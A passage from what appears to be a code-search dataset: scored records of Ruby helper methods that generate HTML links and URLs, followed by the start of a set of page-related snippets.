href=\\\"#{url}\\\"\"\n opts.each do | k, v |\n res += \" k=\\\"#{v}\\\"\"\n end\n res += \">\" + text + \"</a>\"\n end", "title": "" }, { "docid": "2bd8ef40ec55c308d0b31896a182dbba", "score": "0.63938344", "text": "def link_to(text, url)\n \"<a href='#{url}' title='#{text}'>#{text}</a>\"\n end", "title": "" }, { "docid": "2cd1486c3e2b5400bc14486626bd6601", "score": "0.6375209", "text": "def link_to(text, url)\n '<a href=\"%s\">%s</a>' % [url(url), text]\n end", "title": "" }, { "docid": "c63b673f35431b74ceee2031cf587397", "score": "0.63631797", "text": "def to_href\n\t\t\treturn \"#{ENV['GREYGOO_URI_PREFIX']}/#{key}/#{to_s}\"\n\t\tend", "title": "" }, { "docid": "26bc7c7f144cfd15a01f8ca1986fed3e", "score": "0.6353166", "text": "def link(text='', opt={}, prop={})\n \"<a href=\\\"#{url(opt)}\\\"#{hash_to_props(prop)}>#{text}</a>\"\n end", "title": "" }, { "docid": "f6e355a0efce358b63d2e6fa7c4ab1b3", "score": "0.63096315", "text": "def href(link, cls, name)\n %{\"<a href=\\\"#\\\" onclick=\\\"jsHref('#{link}');\\\" class=\\\"#{cls}\\\">#{name}</a>\"}\n end", "title": "" }, { "docid": "a663daabd91eec81281474d55d69b443", "score": "0.63047874", "text": "def link_to(title, href = title, opts = {})\n unless opts.key? :icon\n attributes = opts.collect{|k,v| \"#{k}='#{v}'\"}.join(\" \")\n return \"<a href=\\\"#{href}\\\" #{attributes}>#{title}</a>\"\n else\n icon = opts.delete(:icon)\n opts = opts.merge(:href => href)\n return %Q{<a #{opts.collect{|k,v| \"#{k}='#{v}'\"}.join(\" \")}>\n <i class=\"#{icon.gsub(\".\", ' ')}\"></i>\n #{title}\n </a>}\n end\n end", "title": "" }, { "docid": "79c577a748f9726d85858a8a5b824bd9", "score": "0.63023835", "text": "def create_link(title, url)\n %Q|<a href=\"#{url}\">#{title}</a>|\n end", "title": "" }, { "docid": "9890fd393262579d2c43fde0473e844f", "score": "0.6289531", "text": "def link_to(name, url, options = {})\n \"<a href='#{url}' #{to_attributes(options)}>#{name}</a>\"\n end", "title": "" }, { "docid": "d430b86db7b53157532f8449961c4686", "score": "0.62888396", "text": "def ft_link(label, url, opt = nil)\n label = label.to_s.html_safe\n opt = merge_html_options(EBSCO_OPTS, opt)\n link_to(label, url, opt)\n end", "title": "" }, { "docid": "8c37446666313f78662ef08ba8fa21ff", "score": "0.62492657", "text": "def link(x)\n s = %Q| <a style=\"#{LINK_CSS}\" href=\"/fredit?file=#{URI.escape(x)}\" target=\"_blank\">#{x}</a> |\n s.strip.html_safe\n end", "title": "" }, { "docid": "122d2f0ed4354ce837ab96331dd70258", "score": "0.6240776", "text": "def create_link(title, url)\n %Q|<a href=\"#{url}\">#{title}</a>|\n end", "title": "" }, { "docid": "c20f0b8a46481cb87dcad5a60550ddd6", "score": "0.6240097", "text": "def url(href)\n a href, :href => href\n end", "title": "" }, { "docid": "c20f0b8a46481cb87dcad5a60550ddd6", "score": "0.6240097", "text": "def url(href)\n a href, :href => href\n end", "title": "" }, { "docid": "82e3c2f32411a2c1f26fa76accbb5af4", "score": "0.6237471", "text": "def process_href(href)\n \"https://en.wikipedia.org\" + href\n end", "title": "" }, { "docid": "932717fc92a97b15ead00463b074c998", "score": "0.6224986", "text": "def link(display=nil)\n display = display_text unless display\n getLinkHtml(anchor, display)\n end", "title": "" }, { "docid": "7f740bda04a10fd752b94ac460dca99f", "score": "0.6224049", "text": "def md_link(cap, url)\n return '' if nil == url\n # @@logger.debug 'md_link: '.green + url\n if !should_url_relative?(url) then\n return \"[#{cap}](#{url})\"\n else\n return \"[#{cap}]({{ \\\"#{url_to_relative(url)}\\\" | relative_url }})\"\n end\n end", "title": "" }, { "docid": "417ef23a0ad05c1c569fb9e930a591da", "score": "0.621742", "text": "def link(display_text, url, title = nil)\n title_attr = (title && title.length > 0) ? %Q{ title=\"#{title}\"} : ''\n %Q{<a href=\"#{url}\" rel=\"external nofollow\" class=\"link\"#{title_attr}>#{display_text}</a>}\n end", "title": "" }, { "docid": "4cffb9be0c92955633a42c406d85c0c8", "score": "0.6186232", "text": "def emit_link(cur_mtg_dir, f, desc)\n _a desc, href: f.include?('/') ? f : File.join(cur_mtg_dir, f)\nend", "title": "" }, { "docid": "5f95dbe4b747edadc3f0ef1819bd38c6", "score": "0.6178227", "text": "def external_link(key)\n link_text = t(\"external_links.#{key}\", default: key)\n \"<a href='#{data.external_links[key]}' target='_blank' class='external_link'>#{link_text}</a>\"\n end", "title": "" }, { "docid": "0d62799f8ee005ed7b171a2ee7b5df97", "score": "0.6177159", "text": "def link\n \"<a href='#{path}'>#{title}</a>\"\n end", "title": "" }, { "docid": "8940a0e9cebb40b888f7a847d7b1f2a3", "score": "0.6169205", "text": "def link_to name, href, options={}\n content_tag :a, name, options.merge(:href => href)\n end", "title": "" }, { "docid": "30f5009364fde0f39c7c2d2ef3520e01", "score": "0.61634266", "text": "def link(s)\n protocol_host_port = @options[:protocol_host_port]\n\n if @options[:link_to_external_site]\n s.exteral_site_link(protocol_host_port)\n elsif @options[:hide_prices]\n # Links to surface page without prices. For loyal clients\n s.link_to_noprice_page(protocol_host_port)\n elsif @options[:link_to_surfaces_list]\n # Links to SurfacesList page with anchor to exact surface\n @surfaces_list.link_for_surface(s, protocol_host_port)\n elsif @options[:link_to_surfaces_pages]\n # Links to surface page with all details (with price)\n s.link(protocol_host_port)\n else\n # By default insert links to index map with construction details in side panel\n s.construction.link_to_page(protocol_host_port)\n end\n end", "title": "" }, { "docid": "538724736f96cd577238e505303a9b44", "score": "0.61598384", "text": "def link(link, title, content, base_url = \"\")\n # A return value of nil will not output any data\n # the contents of the span will be copied verbatim\n return nil if link.blank?\n\n title = \" title='#{title}'\" if title.present?\n link = URI.join(base_url, link) if base_url.present?\n \"<a href='#{link}'#{title}>#{CGI.escape_html(content)}</a>\"\n end", "title": "" }, { "docid": "489094f9853176068393522ab14b06c8", "score": "0.61535037", "text": "def link_to(url,text=url,opts={})\n attributes = \"\"\n opts.each { |key,value| attributes << key.to_s << \"=\\\"\" << value << \"\\\" \"}\n \"<a href=\\\"#{url}\\\" #{attributes}>#{text}</a>\"\n end", "title": "" }, { "docid": "0da8ec03a830e80ff17900315ecb5c98", "score": "0.6149704", "text": "def link(link, title, content)\n if link.start_with? \"ref:\"\n input = link[4..-1]\n output = \"#{input}.html\"\n\n # Add the file to the list of files to be parsed\n @manager.add_file input, output\n\n # Change the link location\n link = output\n end\n\n if title\n \"<a title=\\\"#{title}\\\" href=\\\"#{link}\\\">#{content}</a>\"\n else\n \"<a href=\\\"#{link}\\\">#{content}</a>\"\n end\n end", "title": "" }, { "docid": "ed17694a3c5bf24dc3b0287ff5d4accb", "score": "0.61494976", "text": "def link(url, title) # :nodoc:\n \"[#{title}](#{url})\"\n end", "title": "" }, { "docid": "7c6b84b6dca93d9a3eaa739d23e3e7c0", "score": "0.61447436", "text": "def to_link\n link self[:website], to_s\n end", "title": "" }, { "docid": "1cd27ff40c0999559659c4f8dadcf33c", "score": "0.6144455", "text": "def link(s)\n\n self.rxpath(s.split('/').map {|x| \"link[title='%s']\" % x}.join('/')).first\n\n end", "title": "" }, { "docid": "9d143a3244d3803803b74f9b769fa401", "score": "0.6143101", "text": "def link_to(content, url, html_options = nil)\n url = url.path if url.respond_to?(:path)\n attrs = html_options.nil? ? {} : html_options\n attrs[:href] = R2Doc::TemplateUtil.gen_url(@current_path, url)\n content_tag 'a', content, attrs\n end", "title": "" }, { "docid": "3d0cd9506275d17d012909bf7db1b217", "score": "0.6119543", "text": "def link link_text, *alias_name\n elementize(:link, link_text, *alias_name)\n end", "title": "" }, { "docid": "6977e5f873400cbffe76e739761422e1", "score": "0.61150116", "text": "def link\n __text(OCI_ATTR_LINK)\n end", "title": "" }, { "docid": "a2d568b80c81a5fde9aea90b5bccb846", "score": "0.6108058", "text": "def url(link, title, content)\n \"<a href=\\\"#{link}\\\" title=\\\"#{title}\\\">#{content}</a>\"\n end", "title": "" }, { "docid": "204c0402a95c7ce56641900c1f837f1a", "score": "0.61052746", "text": "def generate_link\n self.link = escape_characters self.title\n self.bitly_url = BITLY.shorten(self.permalink).bitly_url\n end", "title": "" }, { "docid": "0a5991efd2d12d9ffd2f631abca92a9a", "score": "0.61033237", "text": "def link_to(url,text=url,opts={})\n attributes = \"\"\n opts.each { |key,value| attributes << key.to_s << \"=\\\"\" << value << \"\\\"&\"}\n \"<a href=\\\"#{url}\\\" #{attributes}>#{text}</a>\"\n end", "title": "" }, { "docid": "958be0bd6ac5a4e0a26ac3412c85f191", "score": "0.6093355", "text": "def link_html title = self.title\n %(<a href=\"#{clean_url}\">#{title}</a>)\n end", "title": "" }, { "docid": "958be0bd6ac5a4e0a26ac3412c85f191", "score": "0.6093355", "text": "def link_html title = self.title\n %(<a href=\"#{clean_url}\">#{title}</a>)\n end", "title": "" }, { "docid": "9f6f37fce23ce81d34ce8a7d2674c924", "score": "0.60725904", "text": "def link(opts)\n \"#{opts[:name]} !LINK_OPEN_TAG!#{opts[:href]}!LINK_CLOSE_TAG!\"\n end", "title": "" }, { "docid": "46200f989c6897eec9593c247d79db13", "score": "0.60688466", "text": "def link_to (link, site) #This sets up the dual arguments of the site and the link\n \"Assignment 1 = <a href='#{site}'>#{link}</a>\" #this forumla set up how it should output the arguments\nend", "title": "" }, { "docid": "f7adcc4ea50e337e20c53f96e236dfe0", "score": "0.60673225", "text": "def url_to_link args\n query_words = extract_query_words(args)\n url = args[:document][args[:field]]\n\turl = fix_url_page_nmbr(url, args)\n for item in query_words\n url = url + \"&term=\" + item\n end\n return raw('<a target=\"_blank\" href=\"' + url + '\">' + url + '</a>')\n end", "title": "" }, { "docid": "b2c9b6c55c748e2f5191ab8818e13fe0", "score": "0.60669947", "text": "def link(content, href, options = {})\n tag :a, content, options.merge(:href => href)\n end", "title": "" }, { "docid": "819305200101a0e732de3670bdc5cc8d", "score": "0.60639393", "text": "def link(text, url = nil)\n url = text if url.nil?\n tag(:a, text, :href => url)\n end", "title": "" }, { "docid": "bb2874acd2b2fbca89527e92b8118c42", "score": "0.6056688", "text": "def link_to(name, url='', opts={})\n opts[:href] ||= url\n\n if opts.delete(:remote) || opts[:submit] || opts[:update]\n ajax = remote_function(opts)\n opts[:onclick] = \"#{opts.delete(:onclick)}; #{ajax}; return false;\"\n opts[:href] = '#'\n else\n opts[:href] ||= url\n end\n\n %{<a #{ opts.to_xml_attributes }>#{name}</a>}\n end", "title": "" }, { "docid": "c96933db13480800616e36c7f769172e", "score": "0.60367936", "text": "def assoc_link(assoc, val)\n link_to_if(assoc_link?(assoc, val), val.to_s, val)\n end", "title": "" }, { "docid": "c26dbde4c49923ea8b02f6c29cd64dbf", "score": "0.6035148", "text": "def anchor_link(raw)\n @anchors ||= {}\n\n name = raw\n .downcase\n .strip\n .gsub(/<\\/?[^>]*>/, '') # Strip links\n .gsub(/\\W+/, '-') # Whitespace to -\n .gsub(/\\A\\-/, '') # No leading -\n .squeeze('-') # Collapse --\n\n i = 0\n link = name\n while @anchors.key?(link) do\n i += 1\n link = \"#{name}-#{i}\"\n end\n @anchors[link] = true\n return link\n end", "title": "" }, { "docid": "42bb474751ad542111051aa79e0f0d29", "score": "0.6027236", "text": "def absolute_link(rel)\n link_to_home + rel\n end", "title": "" }, { "docid": "1f6a9b888a1e9b0c592d494163de3df0", "score": "0.60032654", "text": "def alink(text='', opt={}, prop={})\n \"<a href=\\\"#{aurl(opt)}\\\"#{hash_to_props(prop)}>#{text}</a>\"\n end", "title": "" }, { "docid": "a9244e27d0a17acfb383a578b5c7a129", "score": "0.59971875", "text": "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url url, url\n end", "title": "" }, { "docid": "33dd7d8f803362a71bba6eed6580e65b", "score": "0.5997085", "text": "def doi_link(s)\n URI.parse(URI.escape(s)).tap { |uri|\n uri.scheme = 'https'\n uri.host = 'doi.org'\n uri.path = '/' + uri.path unless uri.path.start_with?('/')\n }.to_s\n end", "title": "" }, { "docid": "7b41eb29a02fdd59bae06abefbd20964", "score": "0.59918654", "text": "def atom_link name, criteria\n def_get name do\n existing = find_link(criteria)\n\n existing and existing.href\n end\n\n def_set name do |value|\n existing = find_link(criteria)\n\n if existing\n existing.href = value\n else\n links.new criteria.merge(:href => value)\n end\n end\n end", "title": "" }, { "docid": "f46e266cfea82603cfd877af26386a09", "score": "0.5989598", "text": "def link(title, href = \"\", options = {})\n if href.is_a?(Hash)\n options = href\n href = \"\"\n end\n\n if href.nil? || href.strip.length < 1\n path_prefix = ''\n if title.match(/^(\\.\\.?)?\\//)\n # starts with relative path so strip it off and prepend it to the urlified title\n path_prefix_match = title.match(/^[^\\s]*\\//)\n path_prefix = path_prefix_match[0] if path_prefix_match\n title = title[path_prefix.length, title.length]\n end\n href = path_prefix + urlify(title) + \".html\"\n end\n\n options[:href] = \"#{current_page_relative_path(href)}#{href}\"\n\n local_page = (options[:href].match(/^(\\#|.+?\\:)/) == nil)\n unless @staticmatic.configuration.use_extensions_for_page_links || !local_page\n options[:href].chomp!(\".html\")\n options[:href].chomp!(\"index\") if options[:href][-5, 5] == 'index'\n end\n\n tag(:a, options) { title }\n end", "title": "" }, { "docid": "a3b64dd80800c0ec97d0548a84eacbc7", "score": "0.59737915", "text": "def link(title, href = \"\", options = {})\n if href.is_a?(Hash)\n options = href\n href = \"\"\n end\n\n if href.nil? || href.strip.length < 1\n path_prefix = ''\n if title.match(/^(\\.\\.?)?\\//)\n # starts with relative path so strip it off and prepend it to the urlified title\n path_prefix_match = title.match(/^[^\\s]*\\//)\n path_prefix = path_prefix_match[0] if path_prefix_match\n title = title[path_prefix.length, title.length]\n end\n href = path_prefix + urlify(title) + \".html\"\n end\n\n options[:href] = \"#{current_page_relative_path(href)}#{href}\"\n \n local_page = (options[:href].match(/^(\\#|.+?\\:)/) == nil)\n unless @staticmatic.configuration.use_extensions_for_page_links || !local_page\n options[:href].chomp!(\".html\")\n options[:href].chomp!(\"index\") if options[:href][-5, 5] == 'index'\n end\n\n tag(:a, options) { title }\n end", "title": "" }, { "docid": "c777c94369aebf5f27388144f1306311", "score": "0.5972838", "text": "def href\n return external_link if external_link\n\n url = (link&.try(:slug) || link&.try(:url))\n return if url.blank? && fragment.blank?\n\n url = URI(url || '')\n\n url = rewrite_to_locale(url, sys.locale) if default_locale && sys.locale != default_locale\n\n url.fragment = fragment if fragment.present?\n url.to_s\n end", "title": "" }, { "docid": "a66ac68037a951d6bda5e605c6be1456", "score": "0.59690905", "text": "def manpage_url_by_code(text,code)\n link_to text, Manpage.url_by_code(code)\n end", "title": "" }, { "docid": "ed82e7cfbea012db68adbb37498087d0", "score": "0.59659916", "text": "def link_to_rsrc rsrc, options={}\n return '' unless rsrc\n case rsrc\n when ActiveRecord::Base then dest = rsrc ; text = rsrc.titleize\n when Class then dest = url_for(rsrc.to_s.tableize) ; text = rsrc.to_s.titleize.pluralize\n when Symbol then dest = rsrc ; text = rsrc.to_s.titleize.pluralize\n when Array then dest = rsrc ; text = rsrc.last.titleize\n else dest = rsrc\n end\n link_to(text, dest, options)\n end", "title": "" }, { "docid": "fea33128071275c665aa911203c16f99", "score": "0.5963187", "text": "def link() url; end", "title": "" }, { "docid": "b5a769f52008c408654378d3f9f0edcd", "score": "0.59611684", "text": "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^#{WORD_PATTERN}\\/-=&]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n ActionController::Base.helpers.content_tag(:a, link_text, link_attributes.merge('href' => href), !!options[:sanitize]) + punctuation.reverse.join('')\n end\n end\n end", "title": "" }, { "docid": "ddf76a5caeca4126483cac33d2004f51", "score": "0.5958864", "text": "def link(content, href=content, options={})\n tag :a, content, options.merge(:href => href)\n end", "title": "" }, { "docid": "12834cab45741fda0ea674d8582c0d88", "score": "0.59557414", "text": "def link_to(name, options = {}, html_options = nil)\n add_rel_nofollow_for_hash_link(options, html_options)\n standard_link_to(name, options, html_options)\n end", "title": "" }, { "docid": "3d53c41a96bba4d0df29655906030fa4", "score": "0.59539455", "text": "def link(link, _title, content)\n \"<a href=\\\"#{link}\\\">#{do_not_break_string(content)}</a>\"\n end", "title": "" }, { "docid": "f662188caf4c82389c3f90bf6c560421", "score": "0.59473336", "text": "def link_for_tag(tag, base_url)\n %[<a href=\"#{h base_url}#{h tag}\" rel=\"tag\">#{h tag}</a>]\n end", "title": "" }, { "docid": "f662188caf4c82389c3f90bf6c560421", "score": "0.59473336", "text": "def link_for_tag(tag, base_url)\n %[<a href=\"#{h base_url}#{h tag}\" rel=\"tag\">#{h tag}</a>]\n end", "title": "" }, { "docid": "6e6b19a99d097abd19d7eb165d430c80", "score": "0.5938643", "text": "def link(link, _, content)\n if relative_link?(link) && !link_contains_anchor?(link)\n %Q(<a href=\"#{ENV.fetch('DOC_BASE_URL')}/#{@options[:locale]}/#{link}\" target=\"_blank\">#{content}</a>)\n else\n %Q(<a href=\"#{link}\">#{content}</a>)\n end\n end", "title": "" }, { "docid": "b22c95afaac66d4cb680206eb7f14566", "score": "0.5938185", "text": "def radiology_link\n var ='<a href=\"https://www.radiology.wisc.edu/a/overreads/'+rad_path+'\" target=\"_blank\">Radiology Site</a>'\n return var\n end", "title": "" }, { "docid": "2da581ab6301f352ba903b60d3e4cdb1", "score": "0.59256554", "text": "def link_to(name, options = {}, html_options = {}, *parameters_for_method_reference)\n convert_confirm_option_to_javascript!(html_options) unless html_options.nil?\n if options.is_a?(String)\n content_tag \"a\", name || options, (html_options || {}).merge({ \"href\" => options })\n else\n content_tag(\n \"a\", name || url_for(options, *parameters_for_method_reference), \n (html_options || {}).merge({ \"href\" => url_for(options, *parameters_for_method_reference) })\n )\n end\n end", "title": "" }, { "docid": "776823d7f31c0efa4991ad7b20b94ee6", "score": "0.5919205", "text": "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url(url, url)\n end", "title": "" }, { "docid": "6f1da9f29df48623698d6e2174ca46d3", "score": "0.5918064", "text": "def link (text, target, attributes = {})\n\n last_query = @options[:last_query]\n\n if target.is_a? Fixnum\n attributes[:rel] = rel_value(target)\n target = url(target)\n target = last_query != nil ? target + \"&match=\"+last_query.to_s : target\n\n puts \" URL (TARGET): \"+target.to_s\n\n end\n\n unless target == \"#\"\n attributes[:href] = target\n end\n\n tag(:a, text, attributes)\n\n end", "title": "" }, { "docid": "4c92a7ffb0f01e4f804739c7f5355897", "score": "0.59179753", "text": "def link_to_report text, report = nil, query_strings = {}\n %{<a href=\"#{ path_for_report report, query_strings }\">#{ text }</a>}\n end", "title": "" }, { "docid": "623fe703fb09b8058bf2eef1732ab64b", "score": "0.59175617", "text": "def hyperlink; end", "title": "" }, { "docid": "d581acc617b1d85f2f1f708cd94608ca", "score": "0.5910395", "text": "def to_html\n ([%Q(<link href=\"#{href}\")] + attr_pairs.map{|k, v| \"#{k}=\\\"#{v.gsub(/\"/, '\\\"')}\\\"\"}).join(' ') + '>'\n end", "title": "" }, { "docid": "6ad088d5da0d806f59b2a0e27d49b50c", "score": "0.59099734", "text": "def link_to(name = nil, options = nil, html_options = nil, &block)\n html_options, options, name = options, name, block if block_given?\n options ||= {}\n\n html_options = convert_options_to_data_attributes(options, html_options)\n\n url = url_for(options)\n html_options[\"href\".freeze] ||= url\n\n content_tag(\"a\".freeze, name || url, html_options, &block)\nend", "title": "" }, { "docid": "bb1313da9d2e451a6ba6d04f2a107c38", "score": "0.59034383", "text": "def link_to_link\n link_to 'URL', link, rel: 'nofollow', target: '_blank'\n end", "title": "" }, { "docid": "2adae4c471e47e943316b88d9839ba78", "score": "0.59001815", "text": "def link_to_filename(name, line = nil, link_content = nil)\n href = file_url(name, line)\n link_text = link_content(name, line, link_content)\n \"<a href='#{href}'>#{link_text}</a>\"\n end", "title": "" }, { "docid": "1d5c6e61c5ce166c5b4ed8103e4beb7d", "score": "0.58996934", "text": "def url_link(options = nil)\n values, opt = extract_config_value(options)\n result = Array.wrap(values).map { |v| v&.split('|', -3) }\n if rendering_non_html?(opt)\n result.map!(&:first)\n (values.is_a?(Array) || (result.size > 1)) ? result : result.first\n elsif result.present?\n separator = opt[:separator] || ' '\n result.map! { |url, _, label| outlink((label.presence || url), url) }\n result.join(separator).html_safe\n else\n return_empty(__method__)\n end\n end", "title": "" }, { "docid": "6fc3f9567927a1a2eac4fe3512ab5b30", "score": "0.58948904", "text": "def external_link(url)\n link_to url, external_url(url)\n end", "title": "" }, { "docid": "75bb3061384a0bcb7802d8278b8d742e", "score": "0.5893936", "text": "def get_link(char)\n @links.find { |l| l.char == char }\n end", "title": "" }, { "docid": "e1ebcbd18b57909db8cc110b65e20ff3", "score": "0.58918864", "text": "def link_to(content,href=nil,options={})\n href ||= content\n options.update :href => url_for(href)\n content_tag :a, content, options\n end", "title": "" }, { "docid": "4f6811e23e9516ed0bccea99dc48e16f", "score": "0.58854496", "text": "def link(value)\n apply_uri_template @link_template, property => safe_parameterize(value)\n end", "title": "" }, { "docid": "118deb726dc483827d71e06a2866d7f2", "score": "0.588195", "text": "def inline_titled_link url\n stripped = url.\n strip.\n sub(%r{\\Ahttps?://}, \"\").\n sub(%r{/\\z}, \"\")\n %Q{<link href=\"#{url}\"><color rgb='#{LINK_COL}'>#{stripped}</color></link>}\n end", "title": "" }, { "docid": "488a96a0f3afc1ede2f962835270f76b", "score": "0.58811843", "text": "def format_link link\n puts \"reformatting: \" + link\n return URI::join( $root_url, link )\nend", "title": "" }, { "docid": "138d63f8d9b96d2e5ce7d5ac60fb5778", "score": "0.5879724", "text": "def tag_link(tag)\n \"<a class='tag' href='/tag/#{tag.gsub(/\\s+/, '-').downcase}/'>#{tag}</a>\"\n end", "title": "" }, { "docid": "097185513cf6e02c4ccf12fbd9180d9c", "score": "0.58776355", "text": "def link_to text, path, options={}\n haml_tag(:a, h(text), options.reverse_merge(:href => h(path)))\n end", "title": "" }, { "docid": "065c9ebdeeccce35429b1ba73bb36825", "score": "0.5867462", "text": "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url(url, url)\n end", "title": "" }, { "docid": "8141015439329386178a934a56817a17", "score": "0.58551013", "text": "def link(title, path, span_class = '')\n title = t(title)\n \"<a href='#{path}' title='#{title}' class='link'><span class='#{span_class}'>#{title}</span></a>\"\n end", "title": "" }, { "docid": "1d62cd75544c6c239b74471ecf5de1c6", "score": "0.58545715", "text": "def link_to(name, options = {}, html_options = {}, *parameters_for_method_reference)\n convert_confirm_option_to_javascript!(html_options) unless html_options.nil?\n if options.is_a?(String)\n content_tag \"a\", name, (html_options || {}).merge({ \"href\" => options })\n else\n content_tag(\"a\", name, (html_options || {}).merge({ \"href\" => url_for(options, *parameters_for_method_reference) }))\n end\n end", "title": "" }, { "docid": "8093d308a3802f37ae019a6d4c920b85", "score": "0.5851449", "text": "def link(link, title, content)\n \"#{content} (#{link})\"\n end", "title": "" }, { "docid": "e17faa516da8a282e775242335904734", "score": "0.5846694", "text": "def full_url_for(ticker_symbol)\n \"http://download.macrotrends.net/assets/php/stock_data_export.php?t=#{ticker_symbol.upcase}\"\nend", "title": "" }, { "docid": "58649b9b9422b11be9cdb202cf2c1587", "score": "0.58451647", "text": "def link_to text, path, options={}\n haml_tag(:a, h(text), options.reverse_merge(:href => h(path)))\n end", "title": "" }, { "docid": "54a2b16993e79ce468c1fb54da4d68a1", "score": "0.58427584", "text": "def href(xml)\n xml.D(:href, url)\n end", "title": "" }, { "docid": "9f4b83844a66bd398f86650f2bccebe2", "score": "0.58403236", "text": "def menu_link_href(menu)\n url_for(menu.href)\n end", "title": "" } ]
d0b0eeccb3c37b9e652f0ae209839ce4
left over from deck.js' introduction/index.html todo: promote into Page
[ { "docid": "a3425edcf6ae02eaddac0be2370f8353", "score": "0.0", "text": "def stylesheet src, attributes = {}\n link({:rel => \"stylesheet\", :href => src}.merge(attributes))\n end", "title": "" } ]
[ { "docid": "9ece808270a1246645b2133518c623c7", "score": "0.6571054", "text": "def loadHandinPage()\n end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721", "score": "0.649474", "text": "def page; end", "title": "" }, { "docid": "cb5e81589b7e81c04140069d1c5e94fd", "score": "0.62040657", "text": "def setup\n @page = pages(:homepage)\n end", "title": "" }, { "docid": "d5e400832b9856645cc6e7cddd895cfe", "score": "0.61737955", "text": "def introduction\r\n\r\n end", "title": "" }, { "docid": "652b0c0c4c72b1dced2292d25900d626", "score": "0.61237836", "text": "def page\n\n end", "title": "" }, { "docid": "06c4d2a1fbab17a24cfef52df1cd864e", "score": "0.610135", "text": "def show_intro_fish_tank\n display_title_intro\n Visual.show_intro_fish_tank\n end", "title": "" }, { "docid": "7c45d83ed5fa5c9b506823d1faff8337", "score": "0.60608834", "text": "def set_page\n end", "title": "" }, { "docid": "30838b1d27aac3fe654683b750a0a558", "score": "0.6051732", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\n end", "title": "" }, { "docid": "30838b1d27aac3fe654683b750a0a558", "score": "0.6051732", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\n end", "title": "" }, { "docid": "f22917587660ff69f20073d472bb07fe", "score": "0.6009384", "text": "def pages; end", "title": "" }, { "docid": "acce0f7fca28161c22d6fb8075024601", "score": "0.60080266", "text": "def sample_page\n\n end", "title": "" }, { "docid": "1fcd2a98a88cef30f52790d403770961", "score": "0.59883", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\n end", "title": "" }, { "docid": "1fcd2a98a88cef30f52790d403770961", "score": "0.59883", "text": "def turn_page\n puts \"Flipping the page...wow, you read fast!\"\n end", "title": "" }, { "docid": "6eb15c8cb8b5387bb1f70f9dccc978b9", "score": "0.58605635", "text": "def mission(page)\n\tend", "title": "" }, { "docid": "4c2ec206bada7693a54c6a5d3b757eb5", "score": "0.5818892", "text": "def about\n # STUB\n end", "title": "" }, { "docid": "59cbb880fb4fc474859c2a32408272ac", "score": "0.58164805", "text": "def page!\n save_and_open_page\n end", "title": "" }, { "docid": "59cbb880fb4fc474859c2a32408272ac", "score": "0.58164805", "text": "def page!\n save_and_open_page\n end", "title": "" }, { "docid": "95f441f460f088a3c147d1565b5a75f3", "score": "0.58114445", "text": "def pages\n end", "title": "" }, { "docid": "f1fab4d1b34ab6880bc0c54abac14f36", "score": "0.57768196", "text": "def page; self end", "title": "" }, { "docid": "50212fc6dc3b063f29c6065f2bb67fff", "score": "0.5762617", "text": "def index\n @stack = Deck.new\n @option_title = \"You have a new deck of cards.\"\n @shuffled = false\n end", "title": "" }, { "docid": "af201d7d777f4ff7886a1cd9cf570910", "score": "0.57057285", "text": "def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end", "title": "" }, { "docid": "b4dd3e8b0e499962f9cb04dc296311c1", "score": "0.57020336", "text": "def first_mandate\n # renders static page\n end", "title": "" }, { "docid": "280084aa97f0d15abea80b8b7a2be0ca", "score": "0.5676134", "text": "def turn_page\n # puts statement required\n puts \"Flipping the page...wow, you read fast!\"\n end", "title": "" }, { "docid": "2efa4ed955d27c68c67f9558e45940b7", "score": "0.567358", "text": "def c_page(n)\n BestiaryConfig::PAGEFX.play\n self.index += n\n end", "title": "" }, { "docid": "cd28f6fabb6d3511770c9951a3883568", "score": "0.565373", "text": "def intro()\n show do\n title \"Fragment analyzing info\"\n note \"In this protocol, you will do the following:\"\n note \"- gather stripwells of fragments\"\n note \"- organize them in the fragment analyzer machine\"\n note \"- set up and run the analyzer\"\n note \"- upload the analysis results to 